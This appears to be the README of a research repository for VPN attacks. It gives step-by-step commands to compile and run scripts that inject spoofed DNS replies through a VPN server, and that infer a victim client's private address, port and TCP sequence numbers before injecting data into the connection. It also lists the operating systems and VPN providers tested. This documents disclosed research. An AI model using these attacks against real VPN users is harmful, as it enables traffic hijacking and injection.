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4.6 KiB


Attack Machine Environment

Server-side attack


  • VPN client connected to a VPN server
  • Attack machine sitting somewhere in between VPN server and client forwarding all traffic between the two

Note: Full virtual test environment setup for the server-side attack is detailed in the README within the virt-lab folder

Running the DNS Attack Script

  1. Change to udp-dns attack folder - cd server-side-attack/dns-sside/full_scan
  2. Compile attack script - make
  3. Check to make sure vpn server has a conntrack entry for some vpn client's dns lookup (on vpn-server vm): sudo conntrack -L | grep udp
  4. Try to inject from attack router - sudo ./uud_send <dns_server_ip> <src_port (53)> <vpn_server_ip> <start_port> <end_port>

Client-side attack


  • VPN client connected to a VPN server
  • Reverse path filtering disabled on the VPN client machine
  • Attack machine acting as the local network gateway for the victim (VPN client) machine using hostapd, create_ap, or Ubuntu's built-in hotspot feature.

Running the Full Attack Script

  • Rebuild all the attack scripts: ./
  • cd full_attack
  • Change vars to appropriate values
  • sh <remote_ip>

Note: remote_ip specifies the IP address of the HTTP site.

Testing Indivual attack phases

Phase 1 - Infer victim's private address
  • cd first_phase
  • python3 <victim_public_ip> <private_ip_range>

Note: private_ip_range specifies a /24 network such as

Phase 2 - Infer the port being used to talk to some remote address
  • cd sec_phase
  • Edit send.cpp to use the correct MAC addresses
  • g++ send.cpp -o send -ltins
  • ./send <remote_ip> <remote_port> <victim_wlan_ip> <victim_priv_ip>

Note: <remote_ip> is the address we wanna check if the client is connected to and the <remote_port> is almost always 80 or 443. The <victim_wlan_ip> is the public address of the victim and <victim_priv_ip> was found in phase 1. If the scripts not sniffing any challenge acks, then edit the send.cpp file to uncomment the cout line that prints out the remainder to check if the size of the encrypted packets has slightly changed on this system.

Phase 3 - Infer exact sequence number and in-window ack
  • cd third_phase
  • Edit send.cpp to use the correct MAC addresses
  • g++ send.cpp -o send -ltins
  • ./send <remote_ip> <remote_port> <victim_wlan_ip> <victim_priv_ip> <victim_port>

Note: <victim_port> was found in phase 2. This script currently just injects a hardcoded string into the TCP connnection but could be easily modified.

Tested operating systems, applications, and VPN providers

Operating systems
* iOS (up to v12.4.1) 
* Android (up to v10) 
* Ubuntu (v20.04) 
* Fedora (v31) 
* Debian (v10.2) 
* Arch (v2019.05) 
* Manjaro (v18.1.1)
* MX Linux (v19) 
* Slackware (v14.2) 
* Void Linux (rolling) 
* Devuan (v2.1) 
* Deepin (v15.11) 
* FreeBSD (v12.1)
* OpenBSD (v6.6)
* macOS (Sierra, High Sierra, Mojave)
VPN Providers and applications
* Mullvad
* ProtonVPN
* PureVPN
* FrootVPN
* VyperVPN
* ExpressVPN
* SlickVPN
* TunnelBear
* SoftEther
* Hotspot Shield
* Betternet
* SecurityKiss
* Spotflux
* CyberGhost
* Surfshark
* IPVanish
* TorGuard
* StrongVPN
* Wang VPN
* Pupa VPN
* Thunder VPN
* Galaxy VPN
* SecureVPN
* Panda VPN Pro
* NordVPN
* SuperVPN Free
* VPN Free
* Wuma VPN PRO
* Xiaoming VPN
* SurfVPN
* BlueWhale VPN
* Orbot
* Lantern
* Psiphon

Source Code License

Copyright (C) 2018-2021 Breakpointing Bad unless otherwise noted. 
Where another license is included, please follow the licensing and 
redistribution clauses of the author.

These program are free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program.  If not, see <>.